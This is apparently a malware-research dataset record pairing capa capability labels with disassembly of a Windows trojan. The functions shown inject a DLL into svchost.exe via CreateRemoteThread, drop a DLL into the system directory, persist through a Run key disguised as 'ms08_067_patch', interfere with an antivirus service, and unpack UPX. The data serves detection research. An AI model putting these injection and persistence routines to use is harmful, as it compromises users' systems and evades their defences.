joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4014e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x118
mov eax, dword [0x405040]
push ebx
mov dword [esp + 0x118], eax
xor ebx, ebx
mov byte [esi], bl
mov ecx, dword [0x4039f8]
mov eax, dword [str.SOFTWARERising_]
mov edx, dword [0x4039fc]
mov dword [esp + 0xc], eax
mov eax, dword [0x403a00]
mov dword [esp + 0x10], ecx
mov cl, byte [0x403a04]
push edi
mov dword [esp + 0x1c], eax
mov byte [esp + 0x20], cl
mov dword [esp + 0x18], edx
xor eax, eax
mov ecx, 0x3d
lea edi, [esp + 0x21]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edx
mov dword [esp + 0xc], ebx
call edi
mov edx, dword [ebp + 0xc]
mov ecx, 0x105
sub ecx, eax
push ecx
push edx
lea eax, [esp + 0x18]
push eax
call edi
lea ecx, [esp + eax + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea edx, [esp + 8]
push edx
push 1
push ebx
lea eax, [esp + 0x1c]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4015d6
lea ecx, [ebp + 8]
push ecx
push esi
lea edx, [esp + 0x14]
push edx
push eax
mov eax, dword [esp + 0x18]
push str.installpath
push eax
mov dword [esp + 0x24], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4015cb
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll__mbsrchr]
add esp, 8
test eax, eax
je 0x4015c6
mov cl, byte [eax + 1]
test cl, cl
jne 0x4015c6
mov byte [eax], bl
mov ebx, 1
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x11c]
mov eax, ebx
call fcn.004027a1
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4015f0
Capabilities:
Create thread
Enumerate processes
Inject thread

Disassembly:
sub esp, 0x244
mov eax, dword [0x405040]
mov ecx, dword [esp + 0x248]
push esi
push 0
mov dword [esp + 0x248], eax
lea eax, [esp + 0x144]
push eax
push 0x104
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SearchPathA]
push 0x403a38
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x40164c
or eax, 0xffffffff
pop esi
mov ecx, dword [esp + 0x240]
call fcn.004027a1
add esp, 0x244
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403a28
push esi
call edi
test eax, eax
mov dword [esp + 0x10], eax
jne 0x40167b
pop edi
or eax, 0xffffffff
pop esi
mov ecx, dword [esp + 0x240]
call fcn.004027a1
add esp, 0x244
ret
push 0x403a14
push esi
call edi
push 0
push 2
mov dword [esp + 0x14], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edx, eax
cmp edx, 0xffffffff
mov dword [esp + 8], edx
je 0x401663
push ebx
xor eax, eax
mov ecx, 0x4a
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
push ebp
lea eax, [esp + 0x24]
push eax
push edx
mov dword [esp + 0x2c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4017bc
mov ebp, dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
jmp 0x4016d0
lea ecx, [esp + 0x48]
push str.svchost.exe
push ecx
call dword [sym.imp.MSVCR71.dll__stricmp]
add esp, 8
test eax, eax
jne 0x4017a5
mov edx, dword [esp + 0x2c]
push edx
push eax
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4017a5
push 4
push 0x1000
push 0x104
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x4017d5
lea eax, [esp + 0x20]
push eax
push 0x104
lea ecx, [esp + 0x154]
push ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4017d5
mov edx, dword [esp + 0x14]
push 0
push 0
push edi
push edx
push 0
push 0
push esi
call ebp
mov ebx, eax
test ebx, ebx
je 0x40178d
push 0x1388
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x401786
lea eax, [esp + 0x1c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x401786
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x4017a5
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x18]
push 0
push 0
push edi
push ecx
push 0
push 0
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x24]
push edx
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4016d0
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x240]
call fcn.004027a1
add esp, 0x244
ret
mov ecx, dword [esp + 0x250]
pop ebp
pop ebx
pop edi
or eax, 0xffffffff
pop esi
call fcn.004027a1
add esp, 0x244
ret
Function at 0x401850
Capabilities:
Copy file
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x405040]
mov dword [esp + 0x208], eax
push 0x104
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401878
sub eax, edx
cmp byte [esp + eax - 1], 0x5c
push edi
je 0x4018a2
lea edi, [esp + 4]
dec edi
mov edi, edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401890
mov cx, word [0x403a54]
mov word [edi], cx
lea edi, [esp + 4]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4018a7
mov edx, dword [0x403a48]
mov eax, dword [0x403a4c]
mov cx, word [0x403a50]
mov dword [edi], edx
push 0x104
lea edx, [esp + 0x10c]
push edx
mov dword [edi + 4], eax
push 0
mov word [edi + 8], cx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [esp + 0x20c]
pop edi
call fcn.004027a1
add esp, 0x20c
ret

Function at 0x401910
Capabilities:
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
sub esp, 0x10c
mov eax, dword [0x405040]
push esi
push 0x403a64
push 0x80
push 0
mov dword [esp + 0x118], eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x401951
xor al, al
pop esi
mov ecx, dword [esp + 0x108]
call fcn.004027a1
add esp, 0x10c
ret
push ebx
push ebp
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x401a3e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x401a3e
push 0x104
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0x10]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401997
sub eax, edx
cmp byte [esp + eax + 0xf], 0x5c
push edi
je 0x4019c2
lea edi, [esp + 0x14]
dec edi
lea ecx, [ecx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4019b0
mov cx, word [0x403a54]
mov word [edi], cx
lea edi, [esp + 0x14]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4019c7
mov edx, dword [0x403a58]
mov eax, dword [0x403a5c]
mov cx, word [0x403a60]
push 0
push 0x80
push 2
push 0
mov dword [edi], edx
push 3
push 0xc0000000
lea edx, [esp + 0x2c]
mov dword [edi + 4], eax
push edx
mov word [edi + 8], cx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
pop edi
je 0x401a3e
push 0
lea eax, [esp + 0x10]
push eax
push ebp
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop ebx
mov al, 1
pop esi
mov ecx, dword [esp + 0x108]
call fcn.004027a1
add esp, 0x10c
ret
mov ecx, dword [esp + 0x114]
pop ebp
pop ebx
xor al, al
pop esi
call fcn.004027a1
add esp, 0x10c
ret
Function at 0x401a60
Capabilities:
Delete registry key
Get common file path
Set registry value

Disassembly:
sub esp, 0x314
mov eax, dword [0x405040]
mov dword [esp + 0x310], eax
mov al, byte [esp + 0x318]
test al, al
push esi
lea eax, [esp + 4]
push eax
je 0x401b84
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_rsnap32
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x401bb9
push 0x104
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x401bb9
lea eax, [esp + 8]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401ac0
sub eax, edx
cmp byte [esp + eax + 7], 0x5c
je 0x401ae9
push edi
lea edi, [esp + 0xc]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401ad6
mov dx, word [0x403a54]
mov word [edi], dx
pop edi
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x110]
push str.__snap32.exe___uninstall
push ecx
call dword [sym.imp.MSVCR71.dll_sprintf]
mov eax, 0x403ac0
add esp, 0xc
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401b10
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
sub eax, edx
mov edx, dword [esp + 4]
inc eax
push eax
push 0x403ac0
push 1
push 0
push str.DisplayName
push edx
call esi
lea eax, [esp + 0x10c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401b40
mov ecx, dword [esp + 4]
sub eax, edx
inc eax
push eax
lea eax, [esp + 0x110]
push eax
push 1
push 0
push str.UninstallString
push ecx
call esi
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
pop esi
mov ecx, dword [esp + 0x310]
call fcn.004027a1
add esp, 0x314
ret
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x401bb9
mov ecx, dword [esp + 4]
push str.rsnap32
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov edx, dword [esp + 4]
push edx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x401b6e
mov ecx, dword [esp + 0x314]
xor al, al
pop esi
call fcn.004027a1
add esp, 0x314
ret
Function at 0x401c10
Capabilities:
Get common file path
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x314
mov eax, dword [0x405040]
mov dword [esp + 0x310], eax
call fcn.00401910
test al, al
je 0x401cfe
push 0x104
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x401cfe
lea eax, [esp + 4]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401c50
sub eax, edx
cmp byte [esp + eax + 3], 0x5c
je 0x401c79
push edi
lea edi, [esp + 8]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401c66
mov cx, word [0x403a54]
mov word [edi], cx
pop edi
lea edx, [esp + 4]
push edx
lea eax, [esp + 0x10c]
push str.__snap32.exe___run
push eax
call dword [sym.imp.MSVCR71.dll_sprintf]
add esp, 0xc
lea ecx, [esp]
push ecx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x401cfe
lea eax, [esp + 0x108]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401cb6
push esi
sub eax, edx
inc eax
push eax
mov eax, dword [esp + 8]
lea edx, [esp + 0x110]
push edx
push 1
push 0
push str.ms08_067_patch
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 4]
push ecx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
jne 0x401cfe
push 1
call fcn.00401a60
add esp, 4
test al, al
jne 0x401d13
xor al, al
mov ecx, dword [esp + 0x310]
call fcn.004027a1
add esp, 0x314
ret
call fcn.00401850
mov ecx, dword [esp + 0x310]
mov al, 1
call fcn.004027a1
add esp, 0x314
ret
Function at 0x401d30
Capabilities:
Delete file
Delete registry value
Get common file path
Move file
Persist via run registry key

Disassembly:
sub esp, 0x210
mov eax, dword [0x405040]
mov dword [esp + 0x20c], eax
lea eax, [esp]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x401d6f
xor al, al
mov ecx, dword [esp + 0x20c]
call fcn.004027a1
add esp, 0x210
ret
mov ecx, dword [esp]
push esi
push str.ms08_067_patch
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [esp + 4]
push edx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x401da6
xor al, al
pop esi
mov ecx, dword [esp + 0x20c]
call fcn.004027a1
add esp, 0x210
ret
push 0x104
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x401d90
lea eax, [esp + 8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401dc1
sub eax, edx
cmp byte [esp + eax + 7], 0x5c
push edi
je 0x401de9
lea edi, [esp + 0xc]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401dd7
mov cx, word [0x403a54]
mov word [edi], cx
mov esi, dword [sym.imp.MSVCR71.dll_sprintf]
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x114]
push str._snap32.exe
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
add esp, 0xc
push 4
push 0
lea ecx, [esp + 0x118]
push ecx
call edi
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x114]
push str._snap32.dll
push eax
call esi
add esp, 0xc
push 4
push 0
lea ecx, [esp + 0x118]
push ecx
call edi
push 0
call fcn.00401a60
mov ecx, dword [esp + 0x218]
add esp, 4
pop edi
mov al, 1
pop esi
call fcn.004027a1
add esp, 0x210
ret

Function at 0x401e60
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x405040]
mov dword [esp + 0x104], eax
push 0x104
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401e88
sub eax, edx
cmp byte [esp + eax - 1], 0x5c
push edi
je 0x401eb2
lea edi, [esp + 4]
dec edi
mov edi, edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401ea0
mov cx, word [0x403a54]
mov word [edi], cx
lea edi, [esp + 4]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401eb7
mov edx, dword [0x403a58]
mov eax, dword [0x403a5c]
mov cx, word [0x403a60]
mov dword [edi], edx
lea edx, [esp + 4]
mov dword [edi + 4], eax
push edx
mov word [edi + 8], cx
call fcn.004015f0
mov ecx, dword [esp + 0x10c]
add esp, 4
pop edi
call fcn.004027a1
add esp, 0x108
ret
Function at 0x401f60
Capabilities:
Accept command line arguments
Check os version

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x402d5b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x228
mov eax, dword [0x405040]
push ebx
push esi
push edi
mov dword [esp + 0x22c], eax
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [esp + 0xc]
push ecx
push eax
mov dword [esp + 0x14], 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
test esi, esi
jne 0x401fba
or eax, 0xffffffff
jmp 0x40211b
cmp dword [esp + 0xc], 1
jle 0x402051
mov edx, dword [esi + 4]
mov edi, dword [sym.imp.MSVCR71.dll__wcsicmp]
push str._run
push edx
call edi
add esp, 8
test eax, eax
jne 0x401fe9
mov ecx, ebx
call fcn.00401e60
jmp 0x402112
mov eax, dword [esi + 4]
push str._uninstall
push eax
call edi
add esp, 8
test eax, eax
jne 0x402038
mov ecx, ebx
call fcn.00401d30
test al, al
je 0x40201f
push 0
push 0x403d38
push 0x403d18
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x402112
push 0x10
push 0x403d0c
push 0x403cec
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x402112
push 0x10
push 0x403ce4
push 0x403cd8
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x402112
xor eax, eax
mov ecx, 0x27
lea edi, [esp + 0x188]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x188]
push ecx
mov dword [esp + 0x18c], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x18c], 5
je 0x4020a6
push 0x10
push 0x403d0c
push 0x403ca8
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 0xfffffffe
jmp 0x40211b
push 0
lea ecx, [esp + 0x14]
call fcn.004010a0
lea ecx, [esp + 0x10]
mov dword [esp + 0x23c], 0
call sub.MFC71.DLL_CDialog::DoModal
cmp eax, 1
jne 0x4020fe
mov ecx, ebx
call fcn.00401c10
test al, al
je 0x4020e3
push 0
push 0x403d38
push 0x403c88
jmp 0x4020ef
push 0x10
push 0x403d0c
push 0x403c68
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.00401e60
lea ecx, [esp + 0x10]
mov dword [esp + 0x23c], 0xffffffff
call fcn.00401170
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov ecx, dword [esp + 0x234]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x22c]
call fcn.004027a1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402200
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x402d9b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x238
mov eax, dword [0x405040]
push ebx
push esi
push edi
mov dword [esp + 0x23c], eax
xor eax, eax
xor ebx, ebx
mov byte [esp + 0x28], bl
mov ecx, 0x40
lea edi, [esp + 0x29]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x403dc4
push 0x104
lea esi, [esp + 0x30]
stosb byte es:[edi], al
call fcn.004014e0
add esp, 8
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea ecx, [esp + 0x10]
call fcn.00402140
mov ecx, esi
push ecx
lea ecx, [esp + 0x14]
mov dword [esp + 0x250], ebx
mov dword [esp + 0x10], ebx
mov dword [esp + 0x28], 0x403c64
call fcn.004013a0
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
or edi, 0xffffffff
test eax, eax
jne 0x40232f
push 1
push str.Stopravmond
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x18]
push eax
call dword [esp + 0x30]
add esp, 0x10
test eax, eax
je 0x40230a
push 0x104
lea ecx, [esp + 0x138]
push ecx
push ebx
mov dword [esp + 0x13c], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [esp + 0xc]
mov edx, dword [ecx]
push pe_nt_image_headers32
lea eax, [esp + 0x134]
push eax
mov al, byte [ebp + 8]
neg al
sbb eax, eax
add eax, 0x1fa
push eax
push str.RavMonD.exe
call dword [edx + 0x14]
mov ecx, dword [esp + 0xc]
mov edx, dword [ecx]
call dword [edx + 0x1c]
mov dword [esp + 0xc], ebx
test byte [esp + 0x1c], 2
je 0x40232f
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x402320
push eax
call esi
mov dword [esp + 0x18], ebx
and dword [esp + 0x1c], 0xfffffffd
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x10]
call dword [eax]
test byte [esp + 0x1c], 2
mov dword [esp + 0x24c], edi
je 0x402361
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x40234c
push eax
call esi
mov dword [esp + 0x18], ebx
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
and eax, 0xfffffffd
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], eax
call dword [edx]
mov ecx, dword [esp + 0x244]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x23c]
call fcn.004027a1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40283d
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x74
push 0x403e50
call fcn.00402a3c
xor ebx, ebx
mov dword [ebp - 0x20], ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x40287d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40287d
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x402895
cmp eax, 0x20b
je 0x402882
mov dword [ebp - 0x1c], ebx
jmp 0x4028a9
cmp dword [ecx + 0x84], 0xe
jbe 0x40287d
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x4028a3
cmp dword [ecx + 0x74], 0xe
jbe 0x40287d
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.MSVCR71.dll___set_app_type]
pop ecx
or dword [0x40515c], 0xffffffff
or dword [0x405160], 0xffffffff
call dword [sym.imp.MSVCR71.dll___p__fmode]
mov ecx, dword [0x405114]
mov dword [eax], ecx
call dword [sym.imp.MSVCR71.dll___p__commode]
mov ecx, dword [0x405110]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR71.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x405158], eax
call fcn.00402b2e
call fcn.00402bce
cmp dword [0x405050], ebx
jne 0x402909
push fcn.00402bce
call dword [sym.imp.MSVCR71.dll___setusermatherr]
pop ecx
call fcn.00402bbc
push 0x40501c
push 0x405018
call sub.MSVCR71.dll__initterm
push 0x402b72
call fcn.004027d5
mov eax, dword [0x40510c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x405108]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVCR71.dll___getmainargs]
add esp, 0x20
mov dword [ebp - 0x3c], eax
cmp eax, ebx
jge 0x40295d
push 8
call sub.MSVCR71.dll__amsg_exit
pop ecx
push 0x405014
push section..data
call sub.MSVCR71.dll__initterm
pop ecx
pop ecx
mov eax, dword [sym.imp.MSVCR71.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x24], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x4029db
cmp al, bl
je 0x402987
cmp dword [ebp - 0x20], ebx
jne 0x4029db
mov al, byte [esi]
cmp al, bl
je 0x402997
cmp al, 0x20
ja 0x402997
inc esi
mov dword [ebp - 0x24], esi
jmp 0x402987
mov dword [ebp - 0x58], ebx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x58], 1
je 0x4029b3
movzx eax, word [ebp - 0x54]
jmp 0x4029b6
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call fcn.00402ce2
mov esi, eax
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x1c], ebx
jne 0x4029d3
push esi
call dword [sym.imp.MSVCR71.dll_exit]
call dword [sym.imp.MSVCR71.dll__cexit]
jmp 0x402a30
cmp al, 0x22
jne 0x4029ea
xor ecx, ecx
cmp dword [ebp - 0x20], ebx
sete cl
mov dword [ebp - 0x20], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR71.dll__ismbblead]
pop ecx
test eax, eax
je 0x4029fd
inc esi
mov dword [ebp - 0x24], esi
inc esi
jmp 0x402975
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.00402a77
ret
Function at 0x51f6d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xd3000]
push edi
or ebp, 0xffffffff
jmp 0x51f6f2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x51f6f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x51f6e8
mov eax, 1
add ebx, ebx
jne 0x51f70b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x51f71c
jne 0x51f73b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x51f73b
dec eax
add ebx, ebx
jne 0x51f728
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x51f700
add ebx, ebx
jne 0x51f737
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x51f78d
xor ecx, ecx
sub eax, 3
jb 0x51f753
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x51f7c2
sar eax, 1
mov ebp, eax
jmp 0x51f75e
add ebx, ebx
jne 0x51f75e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x51f72c
inc ecx
add ebx, ebx
jne 0x51f76c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x51f72c
add ebx, ebx
jne 0x51f779
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x51f76e
jne 0x51f78a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x51f76e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x51f7ac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x51f79e
jmp 0x51f6ee
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x51f7ac
add edi, ecx
jmp 0x51f6ee
pop esi
mov edi, esi
mov ecx, 0x3493
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x51f7ca
cmp byte [edi], 0x4c
jne 0x51f7ca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x51f7cf
lea edi, [esi + 0x11b000]
mov eax, dword [edi]
or eax, eax
je 0x51f847
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x17a5ec]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x17a740]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x51f7fc
mov ecx, edi
jns 0x51f82b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x17a744]
or eax, eax
je 0x51f841
mov dword [ebx], eax
add ebx, 4
jmp 0x51f819
call dword [esi + 0x17a754]
mov ebp, dword [esi + 0x17a748]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x51f87b
sub esp, 0xffffff80
jmp 0x417770